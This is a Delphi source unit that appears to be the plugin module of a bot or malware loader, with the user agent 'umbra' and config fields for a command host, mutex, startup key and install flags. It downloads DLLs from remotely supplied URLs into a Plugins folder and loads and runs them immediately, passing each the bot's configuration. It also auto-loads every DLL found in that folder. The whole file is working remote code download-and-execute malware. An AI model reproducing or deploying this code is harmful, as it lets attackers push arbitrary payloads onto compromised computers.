unit untPlugins;

interface
uses windows, untUtils, sysutils, wininet, CompressionStreamUnit, untSettings;

type
  TInfo = record
    pMainHost:PChar;
    pMainPath:PChar;
    pFilename:PChar;
    pStrStartupK:PChar;
    pMutex:PChar;
    pPlugPass:PChar;
    pVersion:PChar;
    pCurrentPath:PChar;
    bInstall:Boolean;
    bStartup:Boolean;
    iConnectTimer:Integer;
  end;

procedure LoadPlugins;
function ParsePluginDownload(sString:String):Boolean;

implementation

function GetPluginFolder:String;
begin
  Result := GetCurrentDir;
  if Result[Length(Result)] <> '\' then
    Result := Result + '\';
  Result := Result + 'Plugins\';
  If (Not DirectoryExists(Result)) Then
    CreateDirectory(pChar(Result), NIL);
end;

function LoadDll(strDllName:String):Boolean;
var
  hHandle:Cardinal;
  pAddr:Pointer;
  mInfos:TInfo;
  PluginStart:  procedure(pData:Pointer); stdcall;
begin
  Result := False;
  with mInfos do
  begin
    pMainHost := Pchar(_strMainHost_);
    pMainPath := Pchar(_strMainPath_);
    pFilename := Pchar(_strFilename_);
    pStrStartupK := Pchar(_strStartupK_);
    pMutex := Pchar(_strMutexNam_);
    pPlugPass := Pchar(_strPlugPass_);
    pVersion := PChar(_strVersion_);
    pCurrentPath := PChar(Paramstr(0));
    bInstall := _boolInstall_;
    bStartup := _boolStartup_;
    iConnectTimer := _iConneTimer_;
  end;
  hHandle := LoadLibrary(Pchar(GetPluginFolder + strDllName));
  If hHandle <> 0 then begin
    pAddr := GetProcAddress(hHandle, 'PluginStart');
    If pAddr <> nil then begin
      PluginStart := pAddr;
      PluginStart(@mInfos);
      Result := True;
    end;
  end;
end;

function DownloadPlugin(url, strFileName:String): boolean;
var
  hInet: HINTERNET;
  hFile: HINTERNET;
  streamPlugin : TMemoryStream;
  pFileHandle, dWrite:Cardinal;
  buffer: array[1..1024] of byte;
  bytesRead: DWORD;
begin
  result := False;
  hInet := InternetOpen(PChar('umbra'),INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
  hFile := InternetOpenURL(hInet,PChar(url),nil,0,0,0);
  if Assigned(hFile) then
  begin
      try
        streamPlugin := TMemoryStream.Create;
        repeat
          InternetReadFile(hFile,@buffer,SizeOf(buffer),bytesRead);
          streamPlugin.WriteBuffer(buffer[1],bytesRead);
        until bytesRead = 0;
        streamPlugin.Position := 0;
        //RC4(streamPlugin, 'slayer');
        pFileHandle := CreateFile(PChar(GetPluginFolder + strFileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS , FILE_ATTRIBUTE_NORMAL,0);
        if pFileHandle <> INVALID_HANDLE_VALUE then begin
          WriteFile(pFileHandle,streamPlugin.Memory^,streamPlugin.Size,dWrite,nil);
          CloseHandle(pFileHandle);
          If LoadDll(strFileName) then
            Result := True;
        end;
        streamPlugin.Free;
      except
      end;
    InternetCloseHandle(hFile);
  end;
  InternetCloseHandle(hInet);
end;

function ParsePluginDownload(sString:String):Boolean;
var
  sFile:String;
  lFilePos:Integer;
begin
  Result := False;
  if sString <> '' then begin
    if lowercase(copy(sString,1,7)) <> 'http://' then
      sString := 'http://' + sString;
    lFilePos := LastDelimiter('/',sString);
    if lFilePos <> 0 then begin
      sFile := copy(sString, lFilePos + 1,Length(sString) - lFilePos + 1);
      if sFile <> '' then begin
        Result := DownloadPlugin(sString, sFile);
      end;
    end;
  end;
end;

procedure LoadPlugins;
var
  strPluginPath:String;
  WIN32:    TWin32FindData;
  hFile:    DWORD;
begin
  strPluginPath := GetPluginFolder;
  hFile := FindFirstFile(PChar(strPluginPath + '*.dll'), WIN32);
  if hFile <> 0 then
  begin
    repeat
      LoadDll(WIN32.cFileName);
    until FindNextFile(hFile, WIN32) = FALSE;
    Windows.FindClose(hFile);
  end;
end;
end.
